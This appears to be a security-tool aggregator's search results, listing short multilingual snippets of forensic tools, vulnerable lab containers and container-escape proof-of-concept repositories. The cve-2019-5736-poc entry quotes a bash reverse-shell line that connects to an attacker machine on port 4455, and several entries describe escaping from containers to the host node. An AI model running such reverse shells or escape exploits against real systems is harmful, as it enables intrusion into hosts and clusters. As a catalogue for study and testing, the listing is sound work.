15588 matches found
sleuthkit
The Sleuth Kit INTRODUCTION The Sleuth Kit is an open source forensic toolkit for analyzing Microsoft and UNIX file systems and disks. The Sleuth Kit enables investigators to identify and recover evidence from images acquired during incident response or from live systems. The Sleuth Kit is open...
cve-2017-5638
cve-2017-5638 Ejemplo de sitio vulnerable cve-2017-5638 Este proyecto pretende demostrar la explotación de la CVE-2017-5638 con fines educativos. Para más información, consulta https://cwiki.apache.org/confluence/display/WW/S2-045 Descargo de responsabilidad Este proyecto está hecho únicamente co...
cli
开始使用Snyk CLI Snyk CLI简介 Snyk 是一款以开发者优先、云原生安全工具，用于扫描并监控软件开发项目中的安全漏洞。Snyk 可扫描多种内容类型以发现安全问题： Snyk Open Source：发现并自动修复开源漏洞 Snyk Code：实时发现并修复应用程序代码中的漏洞 Snyk Container：发现并修复容器镜像和Kubernetes应用中的漏洞 Snyk IaC：发现并修复Terraform和Kubernetes代码中的不安全配置 Snyk CLI 将 Snyk 的功能带入你的开发工作流。你可以在本地命令行或 IDE 中运行 CLI，也可以在 CI/CD...
page_inject
pageinject - AFALG aead cross-container escape AFALG aead vulnerability cross-container exploit -- pivot from one compromised container into every sibling container that shares the samelibc.so.6 image layer. This is an escape primitive : it runs from inside an unprivileged container that the...
mks-copy-fail-mitigation
DaemonSets de mitigación de Copy Fail DaemonSets para corregir las vulnerabilidades de la familia Copy Fail en todos los nodos worker de los clústeres MKS. Contenido CVE-2026-31431 Copy Fail CVE-2026-43284, CVE-2026-43500, CopyFail2 Dirty Flag CVE-2026-31431 Copy Fail Descripción de la...
botb
Break out the Box BOtB BOtB is a container analysis and exploitation tool designed to be used by pentesters and engineers while also being CI/CD friendly with common CI/CD technologies. What does it do? BOtB is a CLI tool which allows you to: Exploit common container vulnerabilities Perform commo...
botb
Break out the Box BOtB BOtB 是一款容器分析与利用工具，专为渗透测试工程师和普通工程师设计，同时支持常见的 CI/CD 技术，便于集成到持续集成/持续部署流程中。 它能做什么？ BOtB 是一款 CLI 工具，能够让你： 利用常见的容器漏洞 执行常见的容器后渗透操作 当容器内缺少某些工具或二进制文件时提供替代能力 结合 CI/CD 技术使用 BOtB 的能力测试容器部署 以手动或自动方式执行上述操作 当前能力 通过暴露的 Docker 守护进程（docker.sock）实现容器逃逸 通过 CVE-2019-5736 实现容器逃逸 通过启用 CAPS 和...
subpath-exploit
Sample Kubernetes Escape via CVE-2017-1002101 Description After hearing about the issue and following this guide, I wanted to explore things a bit more. This repo contains a couple pod deployments and helper shell scripts that demonstrate the attack mechanism in the simplest way possible so that...
ghidra
Dockerized Ghidra 构建 在 Ghidra 版本目录的根目录下运行以下命令。 root@kitploit: ./docker/build-docker-image.sh 这将构建一个 Ghidra Docker 镜像，其标签与 Ghidra 的发布版本相对应。 MODE 环境变量 Ghidra Docker 容器支持以下执行 MODE： gui headless ghidra-server bsim bsim-server pyghidra MODE 环境变量指定执行 Ghidra 的哪个入口点。 entrypoint.sh 脚本在容器启动时执行。 配置容器...
cve-2019-5736-poc
Encabezados a añadir stage2.c bash include bash include Modificar con IP del PC atacante stage2.c bash const char poc = "!/bin/bash\n/bin/bash -i & /dev/tcp//4455 0&1 &\n"; Creación de imagen Docker y contenedor root@kitploit: $ docker build -t cve . $ docker run -t -d --name cvetest cve $ sudo c...
CVE-2025-29927-test
CVE-2025-29927 Verification App We introduced this vulnerability at the 51st Security Study Group for Beginners. The presentation slides are available here. Usage Access the app using one of the methods below. Detailed usage is described on the app's top page. Method 1: Try with a container...
cve-2018-10933
CVE-2018-10933 bypass de autenticación libssh, contenedores Docker vulnerables en el puerto 2222 para explotación...
vaas-cve-2014-0160
Vulnerabilidad como Servicio - CVE 2014-0160 Un sistema Linux Debian Wheezy con una versión vulnerable de libssl y openssl y un servidor web para mostrar CVS-2014-0160, también conocido como Heartbleed. Resumen Este contenedor Docker está basado en Debian Jessie y ha sido modificado para usar una...
ehir-vuln-enterprise-login
Configuración Local del Portal Corporativo Empresarial Este proyecto contiene una configuración localizada en contenedores que incluye un portal frontend y una puerta de enlace backend integrada. Estructura del Espacio de Trabajo client/: Contiene los archivos frontend estáticos index.html que us...
CVE-2022-0492-Checker
CVE-2022-0492-Checker Un script para comprobar si un entorno de contenedores es vulnerable a escapes de contenedores mediante CVE-2022-0492 Acerca de la vulnerabilidad El 4 de febrero , Linux anunció CVE-2022-0492 , una nueva vulnerabilidad de escalada de privilegios en el kernel. CVE-2022-0492...
CVE-2024-5124
desplegar servidor víctima: Instalar docker root@kitploit: Install packages required for the installation sudo apt-get update sudo apt install --yes ca-certificates curl sudo install -m 0755 -d /etc/apt/keyrings sudo curl -fsSL https://download.docker.com/linux/debian/gpg -o...
cve-2010-0426
CVE-2010-0426 Esto es parte de Cved: una herramienta para gestionar contenedores docker vulnerables. Cved: https://github.com/git-rep-src/cved Fuente de la imagen: https://github.com/cved-sources/cve-2010-0426 Autor de la imagen: https://github.com/t0kx/privesc-CVE-2010-0426...
ipv6_frag_escape
IPV6FRAGESCAPE A reliable unprivileged container / jail escape proof of concept for CentOS / RHEL 10. It rides a now fixed IPv6 fragmentation bug in ip6appenddata closed upstream by 38becddc, no CVE, an in-slab linear overflow into the skbsharedinfo at the tail of a packet's own head object. This...
Copy-Fail-CVE-2026-31431-Kubernetes-PoC
Copy Fail CVE-2026-31431 — PoC de escape de contenedor en Kubernetes Una prueba de concepto que demuestra cómo un contenedor completamente no privilegiado puede lograr ejecución de código a nivel de nodo en Kubernetes explotando el bug de corrupción de la caché de páginas del kernel Linux...